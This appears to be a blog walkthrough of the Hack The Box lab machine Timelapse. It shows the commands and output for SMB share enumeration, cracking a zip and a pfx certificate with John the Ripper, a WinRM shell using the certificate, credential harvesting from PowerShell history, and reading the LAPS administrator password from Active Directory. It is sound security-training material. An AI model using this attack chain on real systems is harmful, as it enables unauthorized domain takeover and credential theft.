top of page
Writer's pictureWinifred

Running Laps on LAPS feat. HTB Timelapse




*SPOILERS AHEAD*

Timelapse on HTB requires familiarity with password cracking, certificate-based authentication, and Microsoft's LAPS: Local Administrator Password Solution. In the walkthrough below, I offer not only a command-by-command guide, but an understanding of LAPS and what's taking place in each general step.


Enumeration


To kick things off, we start out with an nmap scan to understand the externally-facing ports and services for the target host.

sudo nmap -sT -O -sV -A 10.129.174.233 --oA timelapse-nmap-scan

Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-14 20:11 EST
Nmap scan report for 10.129.174.233

Host is up (0.041s latency).
Not shown: 989 filtered tcp ports (no-response)

PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2025-01-15 09:11:39Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

OS fingerprint not ideal because: Missing a closed TCP port so results incomplete

No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h59m58s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-15T09:11:52
|_  start_date: N/A

TRACEROUTE (using proto 1/icmp)

HOP RTT      ADDRESS
1   39.98 ms 10.10.14.1
2   41.48 ms 10.129.174.233

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.27 seconds

In the output we can see that LDAP (ports 389, 636, 3268) and SMB (port 445) are public facing. If anonymous bind is enabled for LDAP, we can perform unauthenticated queries. Similarly, if SMB allows for anonymous logon, we can enumerate shares and look for useful information. Of note, this scan I performed did not include another open port that will be important later on in the process. I'll circle back to that when we get to that step. Let's start by attempting to enumerate shares:


─$ smbclient -N -L \\\\10.129.174.233

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Shares          Disk      
SYSVOL          Disk      Logon server share

A non-standard share named "Shares" stands out. Using SMB client, I'll attempt to connect and see if we are allowed anonymous access. If we are, I'll pull down any interesting files for review:


└─$ smbclient -N \\\\10.129.174.233\\Shares\\ 
Try "help" to get a list of possible commands.
smb: \> ls
 .                                   D        0  Mon Oct 25 11:39:15 2021 ..                                  D        0  Mon Oct 25 11:39:15 2021
Dev                                 D        0  Mon Oct 25 15:40:06 2021
HelpDesk                            D        0  Mon Oct 25 11:48:42 2021                6367231 blocks of size 4096. 1277886 blocks available

smb: \> cd Dev

smb: \Dev\> ls
.                                   D        0  Mon Oct 25 15:40:06 2021
..                                  D        0  Mon Oct 25 15:40:06 2021
winrm_backup.zip                    A     2611  Mon Oct 25 11:46:42 2021               6367231 blocks of size 4096. 1277886 blocks available

smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (15.8 KiloBytes/sec) (average 15.8 KiloBytes/sec)

smb: \Dev\> cd ..

smb: \> ls
.                                   D        0  Mon Oct 25 11:39:15 2021
..                                  D        0  Mon Oct 25 11:39:15 2021
Dev                                 D        0  Mon Oct 25 15:40:06 2021
HelpDesk                            D        0  Mon Oct 25 11:48:42 2021                6367231 blocks of size 4096. 1277886 blocks available

smb: \> cd HelpDesk

smb: \HelpDesk\> ls
.                                   D        0  Mon Oct 25 11:48:42 2021
..                                  D        0  Mon Oct 25 11:48:42 2021
LAPS.x64.msi                        A  1118208  Mon Oct 25 10:57:50 2021
LAPS_Datasheet.docx                 A   104422  Mon Oct 25 10:57:46 2021
LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 10:57:40 2021
LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 10:57:44 2021              6367231 blocks of size 4096. 1277886 blocks available

smb: \HelpDesk\> get LAPS.x64.msi
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as LAPS.x64.msi (2575.5 KiloBytes/sec) (average 1871.0 KiloBytes/sec)

smb: \HelpDesk\> get LAPS_Datasheet.docx
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as LAPS_Datasheet.docx (569.7 KiloBytes/sec) (average 1566.1 KiloBytes/sec)

smb: \HelpDesk\> get LAPS_OperationsGuide.docx
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as LAPS_OperationsGuide.docx (2926.8 KiloBytes/sec) (average 1863.9 KiloBytes/sec)

smb: \HelpDesk\> get LAPS_TechnicalSpecification.docx
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as LAPS_TechnicalSpecification.docx (385.8 KiloBytes/sec) (average 1629.8 KiloBytes/sec)

As you can see, we found a zip file named winrm_backup.zip along with a lot of documentation on LAPS and a LAPS msi.


So what exactly is LAPS and what's its purpose?


LAPS Basics


LAPS is intended to automate local administrator password management on Windows devices and ultimately make sysadmins' lives easier. As Microsoft does, they have the below diagram on their site explaining the architecture behind LAPS:



They also include a flowchart explaining the scenario flow for LAPS, which I highly recommend you go check out if you'd like a granular behind-the-scenes understanding of the ins and outs of LAPS flow for AD vs Entra ID. I'll give you the idea here in a nutshell:


  • To implement LAPS, a sysadmin must first configure a LAPS policy via either Group Policy or Intune, Microsoft's cloud-based device policy management solution.

  • Once the policy enabling LAPS is applied to a managed device, the device generates and starts to administer the local administrator password.

  • Upon expiry, the device will generate a new local administrator password that is compliant with the current length and complexity requirements.

  • Passwords are stored in a pre-configured directory, which could be either Windows Server Active Directory or Microsoft Entra ID.


More on LAPS later. For now, let's pillage our loot. Upon trying to interact with the zip file, we see it's password-protected. In this situation, I give it a shot with zip2john and John the Ripper:


Layers of Cracking

└─$ zip2john winrm_backup.zip > ziphash.txt
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8

└─$ sudo john --format=pkzip ziphash.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
*************    (winrm_backup.zip/legacyy_dev_auth.pfx)     
1g 0:00:00:00 DONE (2025-01-14 20:30) 5.000g/s 17367Kp/s 17367Kc/s 17367KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Using John and rockyou.txt I hit the jackpot. The zip file contains a pfx. A pfx, or Personal Exchange Format file, is a password-protected digital certificate file that contains a certificate and key. These components can be used to authenticate to a system, but first they need to be extracted after acquiring the password. For that, I'll use pfx2john and John the Ripper once again.



Certificate-Based Authentication

─$ pfx2john legacyy_dev_auth.pfx > pfxhash.txt

└─$ sudo john --format=pfx pfxhash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
**********       (legacyy_dev_auth.pfx)     
1g 0:00:00:53 DONE (2025-01-14 20:32) 0.01856g/s 59993p/s 59993c/s 59993C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

John provided me the password to the pfx. Using openssl, I can now proceed with extracting the key:


openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:

I then move on to extracting the public-key certificate:


openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.pem
Enter Import Password:

This is where my gap in nmap comes to my attention. I'll be honest: until I arrived at this point and did research, I did not know that LDAPS supported certificate-based authentication, which is the whole reason why I started to question if I had a gap in my nmap results (if you'd like to learn more about LDAPS and cert-based auth, check Microsoft's docs out here). WinRM, or Windows Remote Management, does support certificate-based authentication, but port 5986 was not in my scan results. Upon a targeted scan, I can see that port 5986 is indeed open. Lesson learned in not having enumerated thoroughly enough:


└─$ sudo nmap -sV 10.129.174.233 -p 5985,5986

Starting Nmap 7.93 ( https://nmap.org ) at 2025-01-15 22:17 EST
Nmap scan report for 10.129.174.233
Host is up (0.037s latency).

PORT     STATE    SERVICE  VERSION
5985/tcp filtered wsman
5986/tcp open     ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.93 seconds

I use the extracted cert and key along with the -S flag for SSL to connect to the system:


─$ evil-winrm -i 10.129.174.233 -c cert.pem -k key.pem -S

Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint

Enter PEM pass phrase:

*Evil-WinRM* PS C:\Users\legacyy\Documents>

We have a shell! The user flag is in the Desktop directory.



Privilege Escalation


Seeing as we're dealing with LAPS, I try a few things to enumerate the local admin password:


*Evil-WinRM* PS C:\Users\legacyy\Documents> Find-LapsADExtendedRights

The term 'Find-LapsADExtendedRights' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

*Evil-WinRM* PS C:\Users\legacyy\Documents> Get-LapsADPassword DC01
Enter PEM pass phrase:

The term 'Get-LapsADPassword' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

*Evil-WinRM* PS C:\Users\legacyy\Documents> Get-AdmPwdPassword -ComputerName DC01

The term 'Get-AdmPwdPassword' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

*Evil-WinRM* PS C:\Users\legacyy\Documents> Get-ADComputer -Identity DC01
Enter PEM pass phrase:

DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

This time I try specifying the ms-mcs-AdmPwd property and still no luck, so we don't have permissions with this account to read that value:


*Evil-WinRM* PS C:\Users\legacyy\Documents> Get-ADComputer -Identity DC01 -Property 'ms-mcs-admpwd'

DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

By default, domain and enterprise admins and account operators can read that attribute; however, sometimes misconfigurations or lax permissions can allow for users beyond those groups to access the value. The attack path, or abuse, for a misconfiguration like this involves an object you control having "GenericAll" or "AllExtendedRights" privileges over the computer object. These controls are managed using DACLs, or Discretionary Access Control Lists. These lists are made up of ACEs, or Access Control Entries, (I know, acronyms everywhere), and these ACEs specify who can access a resource and implicitly deny every other entity.


So, no luck on LAPS yet. Unfortunately, beyond our user flag, the directories we can access are barren. We can move on to enumerating console history and we strike gold:


*Evil-WinRM* PS C:\Users\legacyy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Enter PEM pass phrase:
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString '[PASSWORD-WILL-BE-HERE]' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

We find credentials for the svc_deploy account. We exit our current session and use the svc_deploy credentials to establish a new session on the target host. Here, we try again to enumerate the local administrator password and are successful:


*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -property 'ms-mcs-admpwd'

DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName       : dc01.timelapse.htb
Enabled           : True
ms-mcs-admpwd     : [PASSWORD-WILL-BE-HERE]
Name              : DC01
ObjectClass       : computer
ObjectGUID        : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName    : DC01$
SID               : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

This means that the svc_deploy account (account we now control) has GenericAll or AllExtendedRights privileges (or another more complicated combination of privileges) over the DC01 host.


We can now exit this session, authenticate to the host using the 'Administrator' username and the local admin password, and get the root flag. :)


Recent Posts

See All

Comments


bottom of page